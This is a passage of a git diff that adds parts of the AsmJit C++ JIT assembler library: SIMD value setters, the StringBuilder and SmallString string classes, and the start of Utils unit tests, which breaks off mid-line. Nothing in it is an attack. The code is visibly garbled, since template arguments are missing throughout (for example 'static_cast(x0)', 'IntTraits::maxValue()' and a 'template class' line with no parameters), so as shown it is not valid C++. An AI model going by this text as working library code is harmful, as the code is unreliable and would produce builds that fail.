setI8( + int8_t x0 , int8_t x1 , int8_t x2 , int8_t x3 , + int8_t x4 , int8_t x5 , int8_t x6 , int8_t x7 , + int8_t x8 , int8_t x9 , int8_t x10, int8_t x11, + int8_t x12, int8_t x13, int8_t x14, int8_t x15, + int8_t x16, int8_t x17, int8_t x18, int8_t x19, + int8_t x20, int8_t x21, int8_t x22, int8_t x23, + int8_t x24, int8_t x25, int8_t x26, int8_t x27, + int8_t x28, int8_t x29, int8_t x30, int8_t x31) noexcept { + + sb[0 ] = x0 ; sb[1 ] = x1 ; sb[2 ] = x2 ; sb[3 ] = x3 ; + sb[4 ] = x4 ; sb[5 ] = x5 ; sb[6 ] = x6 ; sb[7 ] = x7 ; + sb[8 ] = x8 ; sb[9 ] = x9 ; sb[10] = x10; sb[11] = x11; + sb[12] = x12; sb[13] = x13; sb[14] = x14; sb[15] = x15; + sb[16] = x16; sb[17] = x17; sb[18] = x18; sb[19] = x19; + sb[20] = x20; sb[21] = x21; sb[22] = x22; sb[23] = x23; + sb[24] = x24; sb[25] = x25; sb[26] = x26; sb[27] = x27; + sb[28] = x28; sb[29] = x29; sb[30] = x30; sb[31] = x31; + } + + //! Set all thirty two 8-bit unsigned integers. + ASMJIT_INLINE void setU8( + uint8_t x0 , uint8_t x1 , uint8_t x2 , uint8_t x3 , + uint8_t x4 , uint8_t x5 , uint8_t x6 , uint8_t x7 , + uint8_t x8 , uint8_t x9 , uint8_t x10, uint8_t x11, + uint8_t x12, uint8_t x13, uint8_t x14, uint8_t x15, + uint8_t x16, uint8_t x17, uint8_t x18, uint8_t x19, + uint8_t x20, uint8_t x21, uint8_t x22, uint8_t x23, + uint8_t x24, uint8_t x25, uint8_t x26, uint8_t x27, + uint8_t x28, uint8_t x29, uint8_t x30, uint8_t x31) noexcept { + + ub[0 ] = x0 ; ub[1 ] = x1 ; ub[2 ] = x2 ; ub[3 ] = x3 ; + ub[4 ] = x4 ; ub[5 ] = x5 ; ub[6 ] = x6 ; ub[7 ] = x7 ; + ub[8 ] = x8 ; ub[9 ] = x9 ; ub[10] = x10; ub[11] = x11; + ub[12] = x12; ub[13] = x13; ub[14] = x14; ub[15] = x15; + ub[16] = x16; ub[17] = x17; ub[18] = x18; ub[19] = x19; + ub[20] = x20; ub[21] = x21; ub[22] = x22; ub[23] = x23; + ub[24] = x24; ub[25] = x25; ub[26] = x26; ub[27] = x27; + ub[28] = x28; ub[29] = x29; ub[30] = x30; ub[31] = x31; + } + + //! Set all sixteen 16-bit signed integers. + ASMJIT_INLINE void setI16(int16_t x0) noexcept { + setU16(static_cast(x0)); + } + + //! Set all eight 16-bit unsigned integers. + ASMJIT_INLINE void setU16(uint16_t x0) noexcept { + if (ASMJIT_ARCH_64BIT) { + uint64_t xq = static_cast(x0) * ASMJIT_UINT64_C(0x0001000100010001); + uq[0] = xq; + uq[1] = xq; + uq[2] = xq; + uq[3] = xq; + } + else { + uint32_t xd = static_cast(x0) * static_cast(0x00010001U); + ud[0] = xd; + ud[1] = xd; + ud[2] = xd; + ud[3] = xd; + ud[4] = xd; + ud[5] = xd; + ud[6] = xd; + ud[7] = xd; + } + } + + //! Set all sixteen 16-bit signed integers. + ASMJIT_INLINE void setI16( + int16_t x0, int16_t x1, int16_t x2 , int16_t x3 , int16_t x4 , int16_t x5 , int16_t x6 , int16_t x7, + int16_t x8, int16_t x9, int16_t x10, int16_t x11, int16_t x12, int16_t x13, int16_t x14, int16_t x15) noexcept { + + sw[0 ] = x0 ; sw[1 ] = x1 ; sw[2 ] = x2 ; sw[3 ] = x3 ; + sw[4 ] = x4 ; sw[5 ] = x5 ; sw[6 ] = x6 ; sw[7 ] = x7 ; + sw[8 ] = x8 ; sw[9 ] = x9 ; sw[10] = x10; sw[11] = x11; + sw[12] = x12; sw[13] = x13; sw[14] = x14; sw[15] = x15; + } + + //! Set all sixteen 16-bit unsigned integers. + ASMJIT_INLINE void setU16( + uint16_t x0, uint16_t x1, uint16_t x2 , uint16_t x3 , uint16_t x4 , uint16_t x5 , uint16_t x6 , uint16_t x7, + uint16_t x8, uint16_t x9, uint16_t x10, uint16_t x11, uint16_t x12, uint16_t x13, uint16_t x14, uint16_t x15) noexcept { + + uw[0 ] = x0 ; uw[1 ] = x1 ; uw[2 ] = x2 ; uw[3 ] = x3 ; + uw[4 ] = x4 ; uw[5 ] = x5 ; uw[6 ] = x6 ; uw[7 ] = x7 ; + uw[8 ] = x8 ; uw[9 ] = x9 ; uw[10] = x10; uw[11] = x11; + uw[12] = x12; uw[13] = x13; uw[14] = x14; uw[15] = x15; + } + + //! Set all eight 32-bit signed integers. + ASMJIT_INLINE void setI32(int32_t x0) noexcept { + setU32(static_cast(x0)); + } + + //! Set all eight 32-bit unsigned integers. + ASMJIT_INLINE void setU32(uint32_t x0) noexcept { + if (ASMJIT_ARCH_64BIT) { + uint64_t xq = (static_cast(x0) << 32) + x0; + uq[0] = xq; + uq[1] = xq; + uq[2] = xq; + uq[3] = xq; + } + else { + ud[0] = x0; + ud[1] = x0; + ud[2] = x0; + ud[3] = x0; + ud[4] = x0; + ud[5] = x0; + ud[6] = x0; + ud[7] = x0; + } + } + + //! Set all eight 32-bit signed integers. + ASMJIT_INLINE void setI32( + int32_t x0, int32_t x1, int32_t x2, int32_t x3, + int32_t x4, int32_t x5, int32_t x6, int32_t x7) noexcept { + + sd[0] = x0; sd[1] = x1; sd[2] = x2; sd[3] = x3; + sd[4] = x4; sd[5] = x5; sd[6] = x6; sd[7] = x7; + } + + //! Set all eight 32-bit unsigned integers. + ASMJIT_INLINE void setU32( + uint32_t x0, uint32_t x1, uint32_t x2, uint32_t x3, + uint32_t x4, uint32_t x5, uint32_t x6, uint32_t x7) noexcept { + + ud[0] = x0; ud[1] = x1; ud[2] = x2; ud[3] = x3; + ud[4] = x4; ud[5] = x5; ud[6] = x6; ud[7] = x7; + } + + //! Set all four 64-bit signed integers. + ASMJIT_INLINE void setI64(int64_t x0) noexcept { + sq[0] = x0; sq[1] = x0; sq[2] = x0; sq[3] = x0; + } + + //! Set all four 64-bit unsigned integers. + ASMJIT_INLINE void setU64(uint64_t x0) noexcept { + uq[0] = x0; uq[1] = x0; uq[2] = x0; uq[3] = x0; + } + + //! Set all four 64-bit signed integers. + ASMJIT_INLINE void setI64(int64_t x0, int64_t x1, int64_t x2, int64_t x3) noexcept { + sq[0] = x0; sq[1] = x1; sq[2] = x2; sq[3] = x3; + } + + //! Set all four 64-bit unsigned integers. + ASMJIT_INLINE void setU64(uint64_t x0, uint64_t x1, uint64_t x2, uint64_t x3) noexcept { + uq[0] = x0; uq[1] = x1; uq[2] = x2; uq[3] = x3; + } + + //! Set all eight SP-FP floats. + ASMJIT_INLINE void setF32(float x0) noexcept { + sf[0] = x0; sf[1] = x0; sf[2] = x0; sf[3] = x0; + sf[4] = x0; sf[5] = x0; sf[6] = x0; sf[7] = x0; + } + + //! Set all eight SP-FP floats. + ASMJIT_INLINE void setF32( + float x0, float x1, float x2, float x3, + float x4, float x5, float x6, float x7) noexcept { + + sf[0] = x0; sf[1] = x1; sf[2] = x2; sf[3] = x3; + sf[4] = x4; sf[5] = x5; sf[6] = x6; sf[7] = x7; + } + + //! Set all four DP-FP floats. + ASMJIT_INLINE void setF64(double x0) noexcept { + df[0] = x0; df[1] = x0; df[2] = x0; df[3] = x0; + } + + //! Set all four DP-FP floats. + ASMJIT_INLINE void setF64(double x0, double x1, double x2, double x3) noexcept { + df[0] = x0; df[1] = x1; df[2] = x2; df[3] = x3; + } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + //! Array of thirty two 8-bit signed integers. + int8_t sb[32]; + //! Array of thirty two 8-bit unsigned integers. + uint8_t ub[32]; + //! Array of sixteen 16-bit signed integers. + int16_t sw[16]; + //! Array of sixteen 16-bit unsigned integers. + uint16_t uw[16]; + //! Array of eight 32-bit signed integers. + int32_t sd[8]; + //! Array of eight 32-bit unsigned integers. + uint32_t ud[8]; + //! Array of four 64-bit signed integers. + int64_t sq[4]; + //! Array of four 64-bit unsigned integers. + uint64_t uq[4]; + + //! Array of eight 32-bit single precision floating points. + float sf[8]; + //! Array of four 64-bit double precision floating points. + double df[4]; +}; + +//! \} + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" + +// [Guard] +#endif // _ASMJIT_BASE_SIMDTYPES_H diff --git a/asmjit/src/asmjit/base/string.cpp b/asmjit/src/asmjit/base/string.cpp new file mode 100644 index 0000000..4d0a837 --- /dev/null +++ b/asmjit/src/asmjit/base/string.cpp @@ -0,0 +1,353 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Export] +#define ASMJIT_EXPORTS + +// [Dependencies] +#include "../base/string.h" +#include "../base/utils.h" + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +// ============================================================================ +// [asmjit::StringBuilder - Construction / Destruction] +// ============================================================================ + +// Should be placed in read-only memory. +static const char StringBuilder_empty[4] = { 0 }; + +StringBuilder::StringBuilder() noexcept + : _data(const_cast(StringBuilder_empty)), + _length(0), + _capacity(0), + _canFree(false) {} + +StringBuilder::~StringBuilder() noexcept { + if (_canFree) + Internal::releaseMemory(_data); +} + +// ============================================================================ +// [asmjit::StringBuilder - Prepare / Reserve] +// ============================================================================ + +ASMJIT_FAVOR_SIZE char* StringBuilder::prepare(uint32_t op, size_t len) noexcept { + if (op == kStringOpSet) { + // We don't care here, but we can't return a null pointer since it indicates + // failure in memory allocation. + if (len == 0) { + if (_data != StringBuilder_empty) + _data[0] = 0; + + _length = 0; + return _data; + } + + if (_capacity < len) { + if (len >= IntTraits::maxValue() - sizeof(intptr_t) * 2) + return nullptr; + + size_t to = Utils::alignTo(len, sizeof(intptr_t)); + if (to < 256 - sizeof(intptr_t)) + to = 256 - sizeof(intptr_t); + + char* newData = static_cast(Internal::allocMemory(to + sizeof(intptr_t))); + if (!newData) { + clear(); + return nullptr; + } + + if (_canFree) + Internal::releaseMemory(_data); + + _data = newData; + _capacity = to + sizeof(intptr_t) - 1; + _canFree = true; + } + + _data[len] = 0; + _length = len; + + ASMJIT_ASSERT(_length <= _capacity); + return _data; + } + else { + // We don't care here, but we can't return a null pointer since it indicates + // failure of memory allocation. + if (len == 0) + return _data + _length; + + // Overflow. + if (IntTraits::maxValue() - sizeof(intptr_t) * 2 - _length < len) + return nullptr; + + size_t after = _length + len; + if (_capacity < after) { + size_t to = _capacity; + + if (to < 256) + to = 256; + + while (to < 1024 * 1024 && to < after) + to *= 2; + + if (to < after) { + to = after; + if (to < (IntTraits::maxValue() - 1024 * 32)) + to = Utils::alignTo(to, 1024 * 32); + } + + to = Utils::alignTo(to, sizeof(intptr_t)); + char* newData = static_cast(Internal::allocMemory(to + sizeof(intptr_t))); + if (!newData) return nullptr; + + ::memcpy(newData, _data, _length); + if (_canFree) + Internal::releaseMemory(_data); + + _data = newData; + _capacity = to + sizeof(intptr_t) - 1; + _canFree = true; + } + + char* ret = _data + _length; + _data[after] = 0; + _length = after; + + ASMJIT_ASSERT(_length <= _capacity); + return ret; + } +} + +ASMJIT_FAVOR_SIZE Error StringBuilder::reserve(size_t to) noexcept { + if (_capacity >= to) + return kErrorOk; + + if (to >= IntTraits::maxValue() - sizeof(intptr_t) * 2) + return DebugUtils::errored(kErrorNoHeapMemory); + + to = Utils::alignTo(to, sizeof(intptr_t)); + char* newData = static_cast(Internal::allocMemory(to + sizeof(intptr_t))); + + if (!newData) + return DebugUtils::errored(kErrorNoHeapMemory); + + ::memcpy(newData, _data, _length + 1); + if (_canFree) + Internal::releaseMemory(_data); + + _data = newData; + _capacity = to + sizeof(intptr_t) - 1; + _canFree = true; + return kErrorOk; +} + +// ============================================================================ +// [asmjit::StringBuilder - Clear] +// ============================================================================ + +void StringBuilder::clear() noexcept { + if (_data != StringBuilder_empty) + _data[0] = 0; + _length = 0; +} + +// ============================================================================ +// [asmjit::StringBuilder - Methods] +// ============================================================================ + +Error StringBuilder::_opString(uint32_t op, const char* str, size_t len) noexcept { + if (len == Globals::kInvalidIndex) + len = str ? ::strlen(str) : static_cast(0); + + char* p = prepare(op, len); + if (!p) return DebugUtils::errored(kErrorNoHeapMemory); + + ::memcpy(p, str, len); + return kErrorOk; +} + +Error StringBuilder::_opChar(uint32_t op, char c) noexcept { + char* p = prepare(op, 1); + if (!p) return DebugUtils::errored(kErrorNoHeapMemory); + + *p = c; + return kErrorOk; +} + +Error StringBuilder::_opChars(uint32_t op, char c, size_t n) noexcept { + char* p = prepare(op, n); + if (!p) return DebugUtils::errored(kErrorNoHeapMemory); + + ::memset(p, c, n); + return kErrorOk; +} + +static const char StringBuilder_numbers[] = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; + +Error StringBuilder::_opNumber(uint32_t op, uint64_t i, uint32_t base, size_t width, uint32_t flags) noexcept { + if (base < 2 || base > 36) + base = 10; + + char buf[128]; + char* p = buf + ASMJIT_ARRAY_SIZE(buf); + + uint64_t orig = i; + char sign = '\0'; + + // -------------------------------------------------------------------------- + // [Sign] + // -------------------------------------------------------------------------- + + if ((flags & kStringFormatSigned) != 0 && static_cast(i) < 0) { + i = static_cast(-static_cast(i)); + sign = '-'; + } + else if ((flags & kStringFormatShowSign) != 0) { + sign = '+'; + } + else if ((flags & kStringFormatShowSpace) != 0) { + sign = ' '; + } + + // -------------------------------------------------------------------------- + // [Number] + // -------------------------------------------------------------------------- + + do { + uint64_t d = i / base; + uint64_t r = i % base; + + *--p = StringBuilder_numbers[r]; + i = d; + } while (i); + + size_t numberLength = (size_t)(buf + ASMJIT_ARRAY_SIZE(buf) - p); + + // -------------------------------------------------------------------------- + // [Alternate Form] + // -------------------------------------------------------------------------- + + if ((flags & kStringFormatAlternate) != 0) { + if (base == 8) { + if (orig != 0) + *--p = '0'; + } + if (base == 16) { + *--p = 'x'; + *--p = '0'; + } + } + + // -------------------------------------------------------------------------- + // [Width] + // -------------------------------------------------------------------------- + + if (sign != 0) + *--p = sign; + + if (width > 256) + width = 256; + + if (width <= numberLength) + width = 0; + else + width -= numberLength; + + // -------------------------------------------------------------------------- + // Write] + // -------------------------------------------------------------------------- + + size_t prefixLength = (size_t)(buf + ASMJIT_ARRAY_SIZE(buf) - p) - numberLength; + char* data = prepare(op, prefixLength + width + numberLength); + + if (!data) + return DebugUtils::errored(kErrorNoHeapMemory); + + ::memcpy(data, p, prefixLength); + data += prefixLength; + + ::memset(data, '0', width); + data += width; + + ::memcpy(data, p + prefixLength, numberLength); + return kErrorOk; +} + +Error StringBuilder::_opHex(uint32_t op, const void* data, size_t len) noexcept { + char* dst; + + if (len >= IntTraits::maxValue() / 2 || !(dst = prepare(op, len * 2))) + return DebugUtils::errored(kErrorNoHeapMemory);; + + const char* src = static_cast(data); + for (size_t i = 0; i < len; i++, dst += 2, src++) { + dst[0] = StringBuilder_numbers[(src[0] >> 4) & 0xF]; + dst[1] = StringBuilder_numbers[(src[0] ) & 0xF]; + } + return kErrorOk; +} + +Error StringBuilder::_opVFormat(uint32_t op, const char* fmt, va_list ap) noexcept { + char buf[1024]; + + vsnprintf(buf, ASMJIT_ARRAY_SIZE(buf), fmt, ap); + buf[ASMJIT_ARRAY_SIZE(buf) - 1] = '\0'; + + return _opString(op, buf); +} + +Error StringBuilder::setFormat(const char* fmt, ...) noexcept { + bool result; + + va_list ap; + va_start(ap, fmt); + result = _opVFormat(kStringOpSet, fmt, ap); + va_end(ap); + + return result; +} + +Error StringBuilder::appendFormat(const char* fmt, ...) noexcept { + bool result; + + va_list ap; + va_start(ap, fmt); + result = _opVFormat(kStringOpAppend, fmt, ap); + va_end(ap); + + return result; +} + +bool StringBuilder::eq(const char* str, size_t len) const noexcept { + const char* aData = _data; + const char* bData = str; + + size_t aLength = _length; + size_t bLength = len; + + if (bLength == Globals::kInvalidIndex) { + size_t i; + for (i = 0; i < aLength; i++) + if (aData[i] != bData[i] || bData[i] == 0) + return false; + return bData[i] == 0; + } + else { + if (aLength != bLength) + return false; + return ::memcmp(aData, bData, aLength) == 0; + } +} + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" diff --git a/asmjit/src/asmjit/base/string.h b/asmjit/src/asmjit/base/string.h new file mode 100644 index 0000000..8d1ef16 --- /dev/null +++ b/asmjit/src/asmjit/base/string.h @@ -0,0 +1,289 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Guard] +#ifndef _ASMJIT_BASE_STRING_H +#define _ASMJIT_BASE_STRING_H + +// [Dependencies] +#include "../base/globals.h" + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +//! \addtogroup asmjit_base +//! \{ + +// ============================================================================ +// [asmjit::SmallString] +// ============================================================================ + +//! Small string is a template that helps to create strings that can be either +//! statically allocated if they are small, or externally allocated in case +//! their length exceed the limit. The `WholeSize` represents the size of the +//! whole `SmallString` structure, based on that size the maximum size of the +//! internal buffer is determined. +template +class SmallString { +public: + enum { kMaxEmbeddedLength = WholeSize - 5 }; + + ASMJIT_INLINE SmallString() noexcept { reset(); } + ASMJIT_INLINE void reset() noexcept { ::memset(this, 0, sizeof(*this)); } + + ASMJIT_INLINE bool isEmpty() const noexcept { return _length == 0; } + ASMJIT_INLINE bool isEmbedded() const noexcept { return _length <= kMaxEmbeddedLength; } + ASMJIT_INLINE bool mustEmbed(size_t len) const noexcept { return len <= kMaxEmbeddedLength; } + + ASMJIT_INLINE uint32_t getLength() const noexcept { return _length; } + ASMJIT_INLINE char* getData() const noexcept { + return _length <= kMaxEmbeddedLength ? const_cast(_embedded) : _external[1]; + } + + ASMJIT_INLINE void setEmbedded(const char* data, size_t len) noexcept { + ASMJIT_ASSERT(len <= kMaxEmbeddedLength); + + _length = static_cast(len); + ::memcpy(_embedded, data, len); + _embedded[len] = '\0'; + } + + ASMJIT_INLINE void setExternal(const char* data, size_t len) noexcept { + ASMJIT_ASSERT(len > kMaxEmbeddedLength); + ASMJIT_ASSERT(len <= ~static_cast(0)); + + _length = static_cast(len); + _external[1] = const_cast(data); + } + + union { + struct { + uint32_t _length; + char _embedded[WholeSize - 4]; + }; + char* _external[2]; + }; +}; + +// ============================================================================ +// [asmjit::StringBuilder] +// ============================================================================ + +//! String builder. +//! +//! String builder was designed to be able to build a string using append like +//! operation to append numbers, other strings, or signle characters. It can +//! allocate it's own buffer or use a buffer created on the stack. +//! +//! String builder contains method specific to AsmJit functionality, used for +//! logging or HTML output. +class StringBuilder { +public: + ASMJIT_NONCOPYABLE(StringBuilder) + + //! \internal + //! + //! String operation. + ASMJIT_ENUM(OpType) { + kStringOpSet = 0, //!< Replace the current string by a given content. + kStringOpAppend = 1 //!< Append a given content to the current string. + }; + + //! \internal + //! + //! String format flags. + ASMJIT_ENUM(StringFormatFlags) { + kStringFormatShowSign = 0x00000001, + kStringFormatShowSpace = 0x00000002, + kStringFormatAlternate = 0x00000004, + kStringFormatSigned = 0x80000000 + }; + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + ASMJIT_API StringBuilder() noexcept; + ASMJIT_API ~StringBuilder() noexcept; + + ASMJIT_INLINE StringBuilder(const _NoInit&) noexcept {} + + // -------------------------------------------------------------------------- + // [Accessors] + // -------------------------------------------------------------------------- + + //! Get string builder capacity. + ASMJIT_INLINE size_t getCapacity() const noexcept { return _capacity; } + //! Get length. + ASMJIT_INLINE size_t getLength() const noexcept { return _length; } + + //! Get null-terminated string data. + ASMJIT_INLINE char* getData() noexcept { return _data; } + //! Get null-terminated string data (const). + ASMJIT_INLINE const char* getData() const noexcept { return _data; } + + // -------------------------------------------------------------------------- + // [Prepare / Reserve] + // -------------------------------------------------------------------------- + + //! Prepare to set/append. + ASMJIT_API char* prepare(uint32_t op, size_t len) noexcept; + + //! Reserve `to` bytes in string builder. + ASMJIT_API Error reserve(size_t to) noexcept; + + // -------------------------------------------------------------------------- + // [Clear] + // -------------------------------------------------------------------------- + + //! Clear the content in String builder. + ASMJIT_API void clear() noexcept; + + // -------------------------------------------------------------------------- + // [Op] + // -------------------------------------------------------------------------- + + ASMJIT_API Error _opString(uint32_t op, const char* str, size_t len = Globals::kInvalidIndex) noexcept; + ASMJIT_API Error _opVFormat(uint32_t op, const char* fmt, va_list ap) noexcept; + ASMJIT_API Error _opChar(uint32_t op, char c) noexcept; + ASMJIT_API Error _opChars(uint32_t op, char c, size_t n) noexcept; + ASMJIT_API Error _opNumber(uint32_t op, uint64_t i, uint32_t base = 0, size_t width = 0, uint32_t flags = 0) noexcept; + ASMJIT_API Error _opHex(uint32_t op, const void* data, size_t len) noexcept; + + // -------------------------------------------------------------------------- + // [Set] + // -------------------------------------------------------------------------- + + //! Replace the current string with `str` having `len` characters (or `kInvalidIndex` if it's null terminated). + ASMJIT_INLINE Error setString(const char* str, size_t len = Globals::kInvalidIndex) noexcept { return _opString(kStringOpSet, str, len); } + //! Replace the current content by a formatted string `fmt`. + ASMJIT_API Error setFormat(const char* fmt, ...) noexcept; + //! Replace the current content by a formatted string `fmt` (va_list version). + ASMJIT_INLINE Error setFormatVA(const char* fmt, va_list ap) noexcept { return _opVFormat(kStringOpSet, fmt, ap); } + + //! Replace the current content by a single `c` character. + ASMJIT_INLINE Error setChar(char c) noexcept { return _opChar(kStringOpSet, c); } + //! Replace the current content by `c` character `n` times. + ASMJIT_INLINE Error setChars(char c, size_t n) noexcept { return _opChars(kStringOpSet, c, n); } + + //! Replace the current content by a formatted integer `i` (signed). + ASMJIT_INLINE Error setInt(uint64_t i, uint32_t base = 0, size_t width = 0, uint32_t flags = 0) noexcept { + return _opNumber(kStringOpSet, i, base, width, flags | kStringFormatSigned); + } + + //! Replace the current content by a formatted integer `i` (unsigned). + ASMJIT_INLINE Error setUInt(uint64_t i, uint32_t base = 0, size_t width = 0, uint32_t flags = 0) noexcept { + return _opNumber(kStringOpSet, i, base, width, flags); + } + + //! Replace the current content by the given `data` converted to a HEX string. + ASMJIT_INLINE Error setHex(const void* data, size_t len) noexcept { + return _opHex(kStringOpSet, data, len); + } + + // -------------------------------------------------------------------------- + // [Append] + // -------------------------------------------------------------------------- + + //! Append string `str` having `len` characters (or `kInvalidIndex` if it's null terminated). + ASMJIT_INLINE Error appendString(const char* str, size_t len = Globals::kInvalidIndex) noexcept { return _opString(kStringOpAppend, str, len); } + //! Append a formatted string `fmt`. + ASMJIT_API Error appendFormat(const char* fmt, ...) noexcept; + //! Append a formatted string `fmt` (va_list version). + ASMJIT_INLINE Error appendFormatVA(const char* fmt, va_list ap) noexcept { return _opVFormat(kStringOpAppend, fmt, ap); } + + //! Append a single `c` character. + ASMJIT_INLINE Error appendChar(char c) noexcept { return _opChar(kStringOpAppend, c); } + //! Append `c` character `n` times. + ASMJIT_INLINE Error appendChars(char c, size_t n) noexcept { return _opChars(kStringOpAppend, c, n); } + + //! Append `i`. + ASMJIT_INLINE Error appendInt(int64_t i, uint32_t base = 0, size_t width = 0, uint32_t flags = 0) noexcept { + return _opNumber(kStringOpAppend, static_cast(i), base, width, flags | kStringFormatSigned); + } + + //! Append `i`. + ASMJIT_INLINE Error appendUInt(uint64_t i, uint32_t base = 0, size_t width = 0, uint32_t flags = 0) noexcept { + return _opNumber(kStringOpAppend, i, base, width, flags); + } + + //! Append the given `data` converted to a HEX string. + ASMJIT_INLINE Error appendHex(const void* data, size_t len) noexcept { + return _opHex(kStringOpAppend, data, len); + } + + // -------------------------------------------------------------------------- + // [Eq] + // -------------------------------------------------------------------------- + + //! Check for equality with other `str` of length `len`. + ASMJIT_API bool eq(const char* str, size_t len = Globals::kInvalidIndex) const noexcept; + //! Check for equality with `other`. + ASMJIT_INLINE bool eq(const StringBuilder& other) const noexcept { return eq(other._data, other._length); } + + // -------------------------------------------------------------------------- + // [Operator Overload] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE bool operator==(const StringBuilder& other) const noexcept { return eq(other); } + ASMJIT_INLINE bool operator!=(const StringBuilder& other) const noexcept { return !eq(other); } + + ASMJIT_INLINE bool operator==(const char* str) const noexcept { return eq(str); } + ASMJIT_INLINE bool operator!=(const char* str) const noexcept { return !eq(str); } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + char* _data; //!< String data. + size_t _length; //!< String length. + size_t _capacity; //!< String capacity. + size_t _canFree; //!< If the string data can be freed. +}; + +// ============================================================================ +// [asmjit::StringBuilderTmp] +// ============================================================================ + +//! Temporary string builder, has statically allocated `N` bytes. +template +class StringBuilderTmp : public StringBuilder { +public: + ASMJIT_NONCOPYABLE(StringBuilderTmp) + + // -------------------------------------------------------------------------- + // [Construction / Destruction] + // -------------------------------------------------------------------------- + + ASMJIT_INLINE StringBuilderTmp() noexcept : StringBuilder(NoInit) { + _data = _embeddedData; + _data[0] = 0; + + _length = 0; + _capacity = N; + _canFree = false; + } + + // -------------------------------------------------------------------------- + // [Members] + // -------------------------------------------------------------------------- + + //! Embedded data. + char _embeddedData[static_cast( + N + 1 + sizeof(intptr_t)) & ~static_cast(sizeof(intptr_t) - 1)]; +}; + +//! \} + +} // asmjit namespace + +// [Api-End] +#include "../asmjit_apiend.h" + +// [Guard] +#endif // _ASMJIT_BASE_STRING_H diff --git a/asmjit/src/asmjit/base/utils.cpp b/asmjit/src/asmjit/base/utils.cpp new file mode 100644 index 0000000..91e0170 --- /dev/null +++ b/asmjit/src/asmjit/base/utils.cpp @@ -0,0 +1,176 @@ +// [AsmJit] +// Complete x86/x64 JIT and Remote Assembler for C++. +// +// [License] +// Zlib - See LICENSE.md file in the package. + +// [Export] +#define ASMJIT_EXPORTS + +// [Dependencies] +#include "../base/utils.h" + +// [Api-Begin] +#include "../asmjit_apibegin.h" + +namespace asmjit { + +// ============================================================================ +// [asmjit::Utils - Unit] +// ============================================================================ + +#if defined(ASMJIT_TEST) +UNIT(base_utils) { + uint32_t i; + + INFO("IntTraits<>"); + EXPECT(IntTraits::kIsSigned,"IntTraits should report signed"); + EXPECT(IntTraits::kIsSigned, "IntTraits should report signed"); + EXPECT(IntTraits::kIsSigned, "IntTraits should report signed"); + EXPECT(IntTraits::kIsSigned, "IntTraits should report signed"); + + EXPECT(IntTraits::kIsUnsigned, "IntTraits should report unsigned"); + EXPECT(IntTraits::kIsUnsigned, "IntTraits should report unsigned"); + EXPECT(IntTraits::kIsUnsigned, "IntTraits should report unsigned"); + EXPECT(IntTraits::kIsUnsigned, "IntTraits should report unsigned"); + + EXPECT(IntTraits::kIsSigned, "IntTraits should report signed"); + EXPECT(IntTraits::kIsUnsigned, "IntTraits should report unsigned"); + + EXPECT(IntTraits::kIsIntPtr, "IntTraits should report intptr_t type"); + EXPECT(IntTraits::kIsIntPtr, "IntTraits should report intptr_t type"); + + INFO("Utils::inInterval()"); + EXPECT(Utils::inInterval(11 , 10, 20) == true , "Utils::inInterval should return true if inside"); + EXPECT(Utils::inInterval(101, 10, 20) == false, "Utils::inInterval should return false if outside"); + + INFO("Utils::isInt8()"); + EXPECT(Utils::isInt8(-128) == true , "Utils::isInt8<> should return true if inside"); + EXPECT(Utils::isInt8( 127) == true , "Utils::isInt8<> should return true if inside"); + EXPECT(Utils::isInt8(-129) == false, "Utils::isInt8<> should return false if outside"); + EXPECT(Utils::isInt8( 128) == false, "Utils::isInt8<> should return false if outside"); + + INFO("Utils::isInt16()"); + EXPECT(Utils::isInt16(-32768) == true , "Utils::isInt16<> should return true if inside"); + EXPECT(Utils::isInt16( 32767) == true , "Utils::isInt16<> should return true if inside"); + EXPECT(Utils::isInt16(-32769) == false, "Utils::isInt16<> should return false if outside"); + EXPECT(Utils::isInt16( 32768) == false, "Utils::isInt16<> should return false if outside"); + + INFO("Utils::isInt32()"); + EXPECT(Utils::isInt32( 2147483647 ) == true, "Utils::isInt32 should return true if inside"); + EXPECT(Utils::isInt32(-2147483647 - 1) == true, "Utils::isInt32 should return true if inside"); + EXPECT(Utils::isInt32(ASMJIT_UINT64_C(2147483648)) == false, "Utils::isInt32 should return false if outside"); + EXPECT(Utils::isInt32(ASMJIT_UINT64_C(0xFFFFFFFF)) == false, "Utils::isInt32 should return false if outside"); + EXPECT(Utils::isInt32(ASMJIT_UINT64_C(0xFFFFFFFF) + 1) == false, "Utils::isInt32 should return false if outside"); + + INFO("Utils::isUInt8()"); + EXPECT(Utils::isUInt8(0) == true , "Utils::isUInt8<> should return true if inside"); + EXPECT(Utils::isUInt8(255) == true , "Utils::isUInt8<> should return true if inside"); + EXPECT(Utils::isUInt8(256) == false, "Utils::isUInt8<> should return false if outside"); + EXPECT(Utils::isUInt8(-1) == false, "Utils::isUInt8<> should return false if negative"); + + INFO("Utils::isUInt12()"); + EXPECT(Utils::isUInt12(0) == true , "Utils::isUInt12<> should return true if inside"); + EXPECT(Utils::isUInt12(4095) == true , "Utils::isUInt12<> should return true if inside"); + EXPECT(Utils::isUInt12(4096) == false, "Utils::isUInt12<> should return false if outside"); + EXPECT(Utils::isUInt12(-1) == false, "Utils::isUInt12<> should return false if negative"); + + INFO("Utils::isUInt16()"); + EXPECT(Utils::isUInt16(0) == true , "Utils::isUInt16<> should return true if inside"); + EXPECT(Utils::isUInt16(65535) == true , "Utils::isUInt16<> should return true if inside"); + EXPECT(Utils::isUInt16(65536) == false, "Utils::isUInt16<> should return false if outside"); + EXPECT(Utils::isUInt16(-1) == false, "Utils::isUInt16<> should return false if negative"); + + INFO("Utils::isUInt32()"); + EXPECT(Utils::isUInt32(ASMJIT_UINT64_C(0xFFFFFFFF)) == true, "Utils::isUInt32 should return true if inside"); + EXPECT(Utils::isUInt32(ASMJIT_UINT64_C(0xFFFFFFFF) 